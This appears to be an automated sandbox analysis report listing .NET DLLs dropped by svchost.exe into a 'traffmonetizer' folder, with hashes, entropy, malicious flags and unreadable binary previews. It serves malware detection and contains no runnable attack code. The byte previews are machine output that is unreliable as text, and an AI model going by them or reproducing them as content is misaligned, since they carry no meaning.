Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ....................................@.................................\|(..O....@..@................>...`......D'............................................... ............... ..H............text........ ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B.................(......H.......P ..t....................&......................................BSJB............v4.0.30319......l.......#~......X...#Strings....L.......#US.P.......#GUID...`.......#Blob......................3......................................z...............\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.9...K.Y...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Net.WebSockets.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21192
Entropy (8bit):	6.92602478259668
Encrypted:	false
SSDEEP:	384:YGETSAWUEWB+109m0GftpBjkOaQHRN7El3uVogD5R:OT1TViCOLvV7D3
MD5:	2E6378FEAEEE2F745417FC025C7850F9
SHA1:	E0FAD5EF75676B2ED7CF155AF6602B867FCED041
SHA-256:	99920CE34A01A0C07EFD86D6E134BB401993515D001B7567A4116AD222993A63
SHA-512:	5A8C41F32598BCF8C8E315B18AD5F1BBC377D7B638DC05CAA3CC47E988536AA0EBE4718D73AEE39ED5004328BE3A9DE9722D8759E5DFD500038E7139DADF9638
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0.............B)... ...@....... ....................................@..................................(..O....@...................>...`.......'............................................... ............... ..H............text...H.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................$)......H.......P ......................8'......................................BSJB............v4.0.30319......l.......#~..<.......#Strings............#US.........#GUID...........#Blob......................3............................................................T.....,.....h.................g...........6.................Q.....:...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.2...K.R...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Numerics.Vectors.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	115856
Entropy (8bit):	5.631610124521223
Encrypted:	false
SSDEEP:	1536:nPOw0SUUKw+GbgjMV+fCY1UiiGZ6qetMXIAMZ2zstK/hV+sUwS:nWw0SUUKBM8aOUiiGw7qa9tK/bJS
MD5:	AAA2CBF14E06E9D3586D8A4ED455DB33
SHA1:	3D216458740AD5CB05BC5F7C3491CDE44A1E5DF0
SHA-256:	1D3EF8698281E7CF7371D1554AFEF5872B39F96C26DA772210A33DA041BA1183
SHA-512:	0B14A039CA67982794A2BB69974EF04A7FBEE3686D7364F8F4DB70EA6259D29640CBB83D5B544D92FA1D3676C7619CD580FF45671A2BB4753ED8B383597C6DA8
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....?.Z.........." ..0..v............... ........... ..............................DF....@.................................f...O........................>.......................................................... ............... ..H............text....u... ...v.................. ..`.rsrc................x..............@..@.reloc..............................@..B........................H........Q..\|?..........$... ...D.........................................(....&.l(....k&.l(....k..l.l(....k..l.l(....k&.l(....k&.l(....k&.l(....kj~....%-.&(....s....%........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(.....~....2r...p.(....2rG..p.(....2r...p.(....*2r...p.(.

C:\Windows\Microsoft.NET\traffmonetizer\System.ObjectModel.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21696
Entropy (8bit):	6.907185647363724
Encrypted:	false
SSDEEP:	384:icDagtDApWSKJWsQBm0GftpBjwaQHRN7ptXl3uVog4:iPKBEVi2LAV74
MD5:	55D9528D161567A19DBB71244B3AE3CE
SHA1:	8A2FB74CF11719708774FC378D8B5BFCC541C986
SHA-256:	870EE1141CB61ABFCE44507E39BFDD734F2335E34D89ECFFFB13838195A6B936
SHA-512:	5338B067297B8CB157C5389D79D0440A6492841C85794EA15B805B5F71CFED445EFA9099C95E5BDEF8CF3902A6B10F032BFC356B0598DDE4F89FA5B349737907
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............+... ...@....... ...............................L....@.................................0+..O....@...................>...`.......)............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................d+......H.......P ..(...................x)......................................BSJB............v4.0.30319......l...x...#~......$...#Strings............#US.........#GUID...........#Blob......................3......................................x.........w.o.....o.....\...............<.....Y.................................................G...........V.....V.....V...).V...1.V...9.V...A.V...I.V...Q.V...Y.V...a.V...i.V...q.V.......................#.....+.....3.....;.....C./...K.O...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Reflection.Extensions.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21224
Entropy (8bit):	6.911906528800318
Encrypted:	false
SSDEEP:	384:rIWD4WwC7Bm0GftpBjkKgnaQHRN75lgaGn7v:r13ViYnL5GD
MD5:	DEFAADD4A92D4D348B0827AB8159D2FE
SHA1:	F3BD9B4108ACD42ABFB99A3A4760BFFCB84F6C28
SHA-256:	3D2551D6458B84566025FDDFE5DAD479CAB5785428EFD6814860D36AD1811C9A
SHA-512:	1B13C70F05D56871008D5C8752BC93C8FB590D5F89B4E97264F592CDFD772CBBCCE8380D255F8BB305BC25BCDDEA21E422617FA614DFFD3DDCC9A1D4BE6C54A5
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ...................................@..................................(..O....@..@................>...`......\'............................................... ............... ..H............text........ ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~......`...#Strings....d.......#US.h.......#GUID...x.......#Blob......................3......................................................\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.9...K.Y...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Reflection.Metadata.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	462728
Entropy (8bit):	6.065574118553577
Encrypted:	false
SSDEEP:	6144:6GQpCbBfTdCUG6Af0AQu/uePT78Wz3g8V51G3tTkd72ipc5/cSAy/B:6GhBK0AQuueVLm9g7iky5
MD5:	C4EA65BD802F1CCD3EA2AD1841FD85C2
SHA1:	2364D6DD5DD3B566E06E6B1DC960533D2B3017B7
SHA-256:	46451E1168DD11D450AA9B6119F17CEC9A70928A40AC3C752ABF61CE809CBA6F
SHA-512:	FC4C18EA6A6F38D8C4B4F2E02D3D077CC729B531CA08CF9602C65E22AADC0BE770E441660CC980CBFED3B27BD783E65F793838532673E2845276390B4B22D730
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0.................. ... ....... .......................`......K.....`.................................q...O.... ...................#...@..........T............................................ ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H.......,q...Y..........$....0............................................(N.....(N...^.(N......r...%...}....:.(N.....}....:.(N.....}....:.(N.....}.....~.....0..1.......(....,..%-.&...(.....oO......&...,...oP...,.......................(....,.r...p......%...%...(Q.....(R....(....,.r...p......%...%...%...(Q......(S....(....,!r...p......%...%...%...%...(Q.......(T.....,&(....,..r...pr...p.(Q...(U.....(V.....(....,.r...p......%...%...(Q......(W...*.(....,.r...

C:\Windows\Microsoft.NET\traffmonetizer\System.Reflection.Primitives.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21736
Entropy (8bit):	6.863412750707488
Encrypted:	false
SSDEEP:	384:AMWzQWsvT1Dm0GftpBjF2i4aQHRN7Del3uVogM:A561DVijuLD5V7M
MD5:	CF318475E6A7A56789ABB0F98C37ABE1
SHA1:	33D1EBD7212D747C8723CFB9E4292C99A641B964
SHA-256:	0383DC02FDF0B5D4612D8CAAAD13D594CAC1609C8240B73DFD6EA5803F5E17EA
SHA-512:	5C67456A65FD051147281E14041F5165C1852FD6519DFC8DFCF9C86F20217CDAD9E2D26F815B557B99E2DB3500AF47B2DF8A1225A659FA1069815CD62302458F
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0.............N... ...@....... ....................................@..................................)..O....@..@................>...`.......(............................................... ............... ..H............text...T.... ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B................0......H.......P ......................D(......................................BSJB............v4.0.30319......l...L...#~..........#Strings............#US.........#GUID...........#Blob......................3......................................................z.....N.....:.....b.................a...........0.....y...........K.....4...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.9...K.Y...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Reflection.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22200
Entropy (8bit):	6.818690002285853
Encrypted:	false
SSDEEP:	384:oxDHKWAMWU+109m0GftpBjyi/aszaQHRN7RldBoQAY1:QD8GVirBzLDoJY1
MD5:	1A3DA139180E9FAB380033D8D1FE3995
SHA1:	3CA31DE7F0F0784559E5A73EBD0EFB42C34D18FC
SHA-256:	63AAF632EE7F3BC852C4D71C742CF1D26F18F784F6C89113E056B2599BA8F514
SHA-512:	D991298419FB5290D6906A1F9FCCEF56BB3E17506E235C85B4D979EBC49ABD4F4B3123697E675346B57829C3EFDEED6291A155D69348CD55B8B6B2EEC9F804A1
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0.............r,... ...@....... ..............................Z4....@................................. ,..O....@...................>...`...................................................... ............... ..H............text...x.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................T,......H.......P ......................h......................................BSJB............v4.0.30319......l...H...#~......D...#Strings............#US.........#GUID...........#Blob......................3................................"...............1.............{.................................Q.....j.......................n...................u.....u.....u...).u...1.u...9.u...A.u...I.u...Q.u...Y.u...a.u...i.u...q.u.......................#.....+.....3.....;.....C.....K.N...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Resources.Reader.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21200
Entropy (8bit):	6.897645601910542
Encrypted:	false
SSDEEP:	384:WLNBEW6pWgQBm0GftpBjFaQHRN7GQlGinGEIJl:WbMIVi/LRU
MD5:	F1CC91D25B52C7504DC5BEAB5D0F498C
SHA1:	498F0FBBD2712F4F637BDB7370B2302FCC4966F3
SHA-256:	E3036362506D96C9C00ED6393A2AFCACD9F2E71CD2A35C1D638A61E85D2FB040
SHA-512:	4C931389035DF21AE67810D8C8E95CB613D9495E2392B11E34D84F624F90C78C541B14FB0D6FE7F0F89799AAD4B34E91FB6F73978AE38231840F047915E6EB5B
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ...............................q....@.................................D(..O....@...................>...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................x(......H.......P ..<....................&......................................BSJB............v4.0.30319......l...\|...#~......0...#Strings............#US.........#GUID...,.......#Blob......................3......................................z...............\.....0..... .....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.4...K.T...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Resources.ResourceManager.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21232
Entropy (8bit):	6.926543977764199
Encrypted:	false
SSDEEP:	384:2KkHKW/tWXC7Bm0GftpBjcR3raQHRN7T0ldBoQAYNI:7uNViydLTgoJYW
MD5:	9E71DFCE86F14BEEB8F3E9F00D0A472E
SHA1:	BF83A7E98418BDE907DEAE8C0C0F3FB0F6C9DB1A
SHA-256:	62DCE4679E33C079E11F41B096BC803B30B1D963A1EA79EFA84187CEBBC06AFE
SHA-512:	FF8CDC0287E510F859F46C1E35F9B0FB42EAD907B1EAA42C90C84B31CF6C2D4638CF682777F359B8611DD22062C1A5FA71F7FB667B7A3903783673E678098515
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............)... ...@....... ....................................@..................................(..O....@..`................>...`.......'............................................... ............... ..H............text...4.... ...................... ..`.rsrc...`....@......................@..@.reloc.......`......................@..B.................)......H.......P ......................$'......................................BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID...........#Blob......................3..................................................W.....W...R.D.........f.......................=.....V.....}...........q.........................>.....>.....>...).>...1.>...9.>...A.>...I.>...Q.>...Y.>...a.>...i.>...q.>.......................#.....+.....3.....;."...C.=...K.]...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Resources.Writer.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21200
Entropy (8bit):	6.904224159979604
Encrypted:	false
SSDEEP:	384:XLnfIWqrW0QBm0GftpBjTUFSNaQHRN7G1lBLY6f5vB:XDf4WVih8OLGNYIvB
MD5:	05D1B950C470EA8B0AA357F9A59CF264
SHA1:	B1756DC750ED5CFD5D0BFC70CB899FD590867A0C
SHA-256:	DAAABD07F1B94BE19D72913360286E469F454886850AFCC603506EAAB03150E4
SHA-512:	8E65FF1909AC8D65F599062E61AC935A919D43404C357DBC6AD628923B0C7ED7158862DDD272CFC1C2A8CEC393D48A57BC4D69CE7706EEF1BB6838826B1AFAE3
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ....................................@.................................D(..O....@...................>...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................x(......H.......P ..<....................&......................................BSJB............v4.0.30319......l...\|...#~......0...#Strings............#US.........#GUID...,.......#Blob......................3......................................z...............\.....0..... .....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.4...K.T...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.CompilerServices.Unsafe.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16768
Entropy (8bit):	6.378509219645678
Encrypted:	false
SSDEEP:	192:erLXx0hyLsbb3rxVj7WU2WLTYoW4GD5dHnhWgN7acWlbAkWD7DiqnajKs3WoHpZ:Ih06sbbVVPWU2WPY7dHRN77RGlGs3jJZ
MD5:	9A341540899DCC5630886F2D921BE78F
SHA1:	BAB44612721C3DC91AC3D9DFCA7C961A3A511508
SHA-256:	3CADCB6B8A7335141C7C357A1D77AF1FF49B59B872DF494F5025580191D1C0D5
SHA-512:	066984C83DE975DF03EEE1C2B5150C6B9B2E852D9CAF90CFD956E9F0F7BD5A956B96EA961B26F7CD14C089BC8A27F868B225167020C5EB6318F66E58113EFA37
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....._...........!.................3... ...@....@.. ..............................t@....@.................................@3..K....@...................#...`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................p3......H........$..0...................P ......................................._.%c......=.n')...(v..:}.d...3...B...).. .:Q(....L.jt....}Xv.b7y0r.[..$.....q..c.6.....p..2..qHv/.pb.=..9.o"z.. 0P.t%H....U...0...........q......0..............q.......0..............q.......0..................0......................0......................0............q.............0............q.............0..............0..............0..................0..................0..............

C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.CompilerServices.VisualC.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21784
Entropy (8bit):	6.872325269765102
Encrypted:	false
SSDEEP:	384:vna8WK1W6QBm0GftpBjBxRaQHRN73clxBGD:vna0+VinL36M
MD5:	9F31B6954FD453F13B5F39DA36F2E8EB
SHA1:	7A6276348D85EAF00AE6958117797045929078CB
SHA-256:	18A610B8BAD43CF784CDE4D4902A238F2281C2A677DAAE790CAB55F6DA915979
SHA-512:	D3696D4D60CFC5AA5834F60A0B97A4F3A3F8EC3FB05BEB3C3D927426B72B3E5463C628C7DF950E43FF1344823B8C2D39730BA47BA0F2FEC7A0CFCDC237A5BCC6
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0.............j... ...@....... ...............................R....@....................................O....@...................?...`.......(............................................... ............... ..H............text...p.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................L*......H.......P ......................`(......................................BSJB............v4.0.30319......l...@...#~......0...#Strings............#US.........#GUID....... ...#Blob......................3................................................w.................!...........<.....Y.............................................................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.)...C.D...K.d...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Extensions.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21720
Entropy (8bit):	6.851248273705748
Encrypted:	false
SSDEEP:	384:2BSWITW5+109m0GftpBj4+19aQHRN76hlO62gHcXAJ:26oVi6+19L64g8QJ
MD5:	B0346A4C5FA0FAC135509A0E7D3C4449
SHA1:	7D71B46BB9A28289384AA1EDF5CB03D64B3BCFF0
SHA-256:	F9FEB277F86241F55425182A26DECF50A210675D4F040EC542AF3FB3DD287DE6
SHA-512:	916A465236F11FF6E421800961B20CB80A320176DA8C58002F6742040CE33C5207D378667A584C5D8E35CF8CFC19AC54504B3F6129E489EEABD86A5B4E7D8C77
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0................. ...@....... ...............................Y....@..................................)..O....@.. ................>...`.......(............................................... ............... ..H............text...$.... ...................... ..`.rsrc... ....@......................@..@.reloc.......`......................@..B.......................H.......P .......................(......................................BSJB............v4.0.30319......l...@...#~..........#Strings............#US.........#GUID...........#Blob......................3..................................................\|.....\|...S.i.........g.................f...........5.....~...........P.....9...................c.....c.....c...).c...1.c...9.c...A.c...I.c...Q.c...Y.c...a.c...i.c...q.c.......................#.....+.....3.....;.....C.6...K.V...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Handles.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21200
Entropy (8bit):	6.924980445039345
Encrypted:	false
SSDEEP:	384:t88cIIWNoWRQBm0GftpBjsP9SaQHRN7f7l78oSwDnuC6:t9cUoViM9SLftaw4
MD5:	65FBBA7A86B3E175200AE44727AB40E5
SHA1:	584B8683943A8E0AE98B10F452C94F6109D1C4EA
SHA-256:	7A81D2A001B543B2A55C9AFFC845A5DF7EDAB1FD308C6979BBD982B1B826B57C
SHA-512:	43607AEBBB0A3F2D437C7DE77785CD6C9F49411E1D4EFE41ECCD93D7FCCA197DABD4E15F45FBC4FBFF27C202FEC96B79F82202AFC88B59C20ED5E7912BCDC6D3
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0.............V)... ...@....... ...............................d....@..................................)..O....@...................>...`.......'............................................... ............... ..H............text...\.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................8)......H.......P ......................L'......................................BSJB............v4.0.30319......l.......#~.. .......#Strings............#US.........#GUID...........#Blob......................3..........................................................c.....J.....w.................v.....,.....E.................`.....I...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.3...K.S...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.InteropServices.RuntimeInformation.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	28624
Entropy (8bit):	6.704228860468442
Encrypted:	false
SSDEEP:	384:skUwx9rm5go1fWKmmW4oqN5dWjaWp1m0GftpBjaIrc1aQHRN7SlDggz1:brmoFmWXXXVioVL8Lz1
MD5:	05AF54A1C6450B98AD0FB0E857B6A523
SHA1:	15349E541122743A5D355946E48380AC1811B52F
SHA-256:	76432F414458E93B54CEB02FC348E652A84744108102F3A83792D8A804040EB8
SHA-512:	C763FE0E16079E431CFA13C63706B58637E3BB6E395F3C874F7EC8B1D5D5C16849D30A088E69E4BA798AFAAF7066763DAFFFF6A2880FB6C8AB838D9D721F000D
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..&...........E... ...`....... ...............................9....@.................................PE..O....`..x............0...?...........D............................................... ............... ..H............text....%... ...&.................. ..`.rsrc...x....`.......(..............@..@.reloc..............................@..B.................E......H........$...............A.......C......................................j~....%-.&(....s....%..........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(....2r...p.(....2r/..p.(..........(....2(.....(....^~....-.(.........~.....0..........~..........(.........(....-Y..(!....{/......5..,

C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.InteropServices.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	24296
Entropy (8bit):	6.780229572480669
Encrypted:	false
SSDEEP:	384:N09bOAghbsDCyVnVc3p/i2fBVlAO/BRU+psbC984vmJHrE1dtx66aI2sU52RWVsX:MOAghbsDCyVnVc3p/i2fBVlAO/BRU+pJ
MD5:	D7E74EA95786A02687CE43C356ABDC95
SHA1:	2E6A3047BD3BCEE01F55D139A3C03E6D4D2DB14A
SHA-256:	383A1F9DAC655C6805C24D4A03BC5FBEB9ABD1536DE5510F5756259EEFCB4871
SHA-512:	B7E76B65406904F092FE96DED558A94EA53FA40BEC500EFCDCDEBF124921F4526DE2F239CD25BAE1801692DD6DFE5652FFD46B2AA4325133C7127D27F626BB9B
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0.............r5... ...@....... ...............................k....@................................. 5..O....@..P............ ...>...`.......3............................................... ............... ..H............text...x.... ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B................T5......H.......P ......................h3......................................BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID...........#Blob......................3................................r.....................e...........4.................3.....L...................................R...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;. ...C.;...K.[...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Numerics.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21200
Entropy (8bit):	6.898006718463938
Encrypted:	false
SSDEEP:	384:27W6RWDvT1Dm0GftpBjhvPaQHRN7VwXldBoQAYd:25K1DViXHLVyoJYd
MD5:	6CCCA0BA6A7B9CAF8B8D3B0287DBED8B
SHA1:	B81FF87B407578EFBF184BDC10D0F101610379DB
SHA-256:	16E7EFD6C19B2E3E516AE1BC7B3175D0E22F1AD357701F229E353DA348EEE182
SHA-512:	8505479031A0A5CAEEEE1A8A60AA35D7E0C332BBFDDE61193B615E242C127780E55F404289F26930E9EC9E53FCCF436B1A991BA2C8A9177163B41AAAF6BE0D32
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............(... ...@....... ....................................@.................................T(..O....@...................>...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P ..L....................&......................................BSJB............v4.0.30319......l.......#~......4...#Strings....(.......#US.,.......#GUID...<.......#Blob......................3......................................z...............\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.4...K.T...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Serialization.Formatters.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21264
Entropy (8bit):	6.950539566613158
Encrypted:	false
SSDEEP:	384:uI5HeWFwTBsWbvT1Dm0GftpBjW0hZraQHRN7ZflZ3j:uI5HFwTB91DVism5LZzz
MD5:	A42C32F4E98A9656FC2FED72D30E9380
SHA1:	B6B8986FC1B5140817DE262AE4102499E37DAFFD
SHA-256:	C343F7BF08A4C97A90BA607A492C721533333173FA63F65F6E5DE9CEEE65FC16
SHA-512:	5C2DE8F18CB9B367D7DE88A2AF8A7FD538486B9FFB393972FBDFF42CD2899D6679FD8D7076FE37954D5E8EAB6C5041F19EDAD32659C5CCEEC1C2BA35E6F8982A
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............)... ...@....... ....................................@.................................\|)..O....@...................?...`......D(............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H.......P ..t....................'......................................BSJB............v4.0.30319......l.......#~..H.......#Strings....@.......#US.D.......#GUID...T... ...#Blob......................3............................................................U.x...........................~.....4.....M.................h.....$...................r.....r.....r...).r...1.r...9.r...A.r...I.r...Q.r...Y.r...a.r...i.r...q.r.......................#.....+.....3.....;.)...C.D...K.d...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Serialization.Json.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21240
Entropy (8bit):	6.93694523950017
Encrypted:	false
SSDEEP:	384:YAJpVWbfkBnWyC7Bm0GftpBjV1raQHRN7RyV0lTZVkvq:YAJpWfkBSVi31LRyAZVZ
MD5:	E1E2239979B853157BA75310FEA7E65D
SHA1:	EE1AE416570911282ABDD3745674E58F9D469C9E
SHA-256:	E8D531F0AAA674F794B7F43EC76E4E32AD93F3C136020CF4B6E3433832F9C0DF
SHA-512:	DDF9D6E05D9566C9E02295A061756FF164C408EA211D016023EDBFA91BBA4D0D7DFF293D2BF4D87C25FE923500C7535E4A21B6A8D4B18FD9505F8E5C635F9C95
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0.............>)... ...@....... ...............................#....@..................................(..O....@..`................>...`.......'............................................... ............... ..H............text...D.... ...................... ..`.rsrc...`....@......................@..@.reloc.......`......................@..B................ )......H.......P ......................4'......................................BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID...........#Blob......................3......................................z...........@...\.@...0.-...`.....D.................C.................[.....x.....-.........................'.....'.....'...).'...1.'...9.'...A.'...I.'...Q.'...Y.'...a.'...i.'...q.'.......................#.....+.....3.....;.#...C.>...K.^...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Serialization.Primitives.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	27048
Entropy (8bit):	6.661112158879877
Encrypted:	false
SSDEEP:	384:c8R71h7yzt94dHWFgQBVWeHWFyTBVW/4wm0GftpBj1AipaQHRN7E5AN/lD7DDN:d1dyAqgQBfqyTB+FVizAGLE5AXHDN
MD5:	3373A24450373CAF0CBB756E10097FD4
SHA1:	87C352153804FF5BD4F8AEF8851546F3CF22461E
SHA-256:	575E26A455892F1FD77B730E6928F70B760E76094AFE5BCB677D854DAF869AC5
